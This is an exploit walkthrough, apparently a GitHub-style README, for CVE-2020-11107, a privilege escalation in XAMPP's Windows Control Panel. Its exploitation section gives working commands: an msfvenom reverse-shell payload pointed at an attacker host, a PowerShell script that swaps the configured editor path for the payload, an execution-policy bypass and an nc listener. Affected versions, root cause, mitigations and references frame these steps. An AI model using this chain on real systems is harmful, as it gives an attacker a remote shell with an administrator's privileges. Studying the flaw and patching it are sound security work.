🧨 CVE-2020-11107 – XAMPP Local Privilege Escalation (Windows)

📌 Overview

CVE-2020-11107 is a Local Privilege Escalation (LPE) vulnerability affecting Apache Friends XAMPP on Windows.

An unprivileged user can modify the XAMPP Control Panel configuration file (xampp-control.ini) and replace the default editor executable (notepad.exe) with a malicious executable.
When another user (e.g. Administrator) opens logs via the Control Panel, the malicious binary is executed with the victim’s privileges, resulting in privilege escalation.

❗ This vulnerability does NOT affect Linux or macOS.

🎯 Affected Versions

• XAMPP < 7.2.29
• XAMPP 7.3.x < 7.3.16
• XAMPP 7.4.x < 7.4.4

Tested on

• Windows 10
• XAMPP 7.3.10

🧠 Root Cause

• xampp-control.ini is globally writable
• Editor / Browser paths are trusted & executed
• Configuration changes affect all users
• No validation on executable paths

🗂 Important Files

C:\xampp\xampp-control.ini
C:\xampp\xampp-control.exe

🔍 Proof of Vulnerability

Verify XAMPP version:

type C:\xampp\properties.ini

Example output:

base_stack_version=7.3.10-1
base_stack_platform=windows-x64

✅ The version is vulnerable.

⚔️ Exploitation Steps (PoC)

1️⃣ Generate Malicious Payload (Attacker – Kali)

msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.xxx.xxx LPORT=4444 \
-f exe -o msf.exe

2️⃣ Transfer Payload to Target

mkdir C:\temp
# Upload msf.exe into C:\temp

3️⃣ Modify XAMPP Configuration (Low Privilege User)

Exploit script (PowerShell):

# CVE-2020-11107 PoC
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file

Run the script:

powershell -ExecutionPolicy Bypass -File 50337.ps1

4️⃣ Trigger Execution (Victim / Admin)

Victim launches:

C:\xampp\xampp-control.exe

Then opens any log file from the Control Panel.

5️⃣ Catch the Shell (Attacker)

nc -lvnp 4444

✅ Result:

Connection received...
C:\WINDOWS\system32>

🎉 Privilege Escalation Successful

📈 Impact

• Local Privilege Escalation
• Arbitrary Command Execution
• Full System Compromise (if Admin triggers it)

🛡 Mitigation

• Update XAMPP to one of the following versions (or newer):

  • 7.2.29
  • 7.3.16
  • 7.4.4

• Restrict permissions on:

C:\xampp\xampp-control.ini

• Avoid running XAMPP Control Panel as Administrator

📚 References

• CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11107
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-11107
• Apache Friends Advisory: https://www.apachefriends.org/blog/new_xampp_20200401.html
• Exploit-DB: https://www.exploit-db.com/exploits/50337
• Original Research: https://github.com/S1lkys/CVE-2020-11107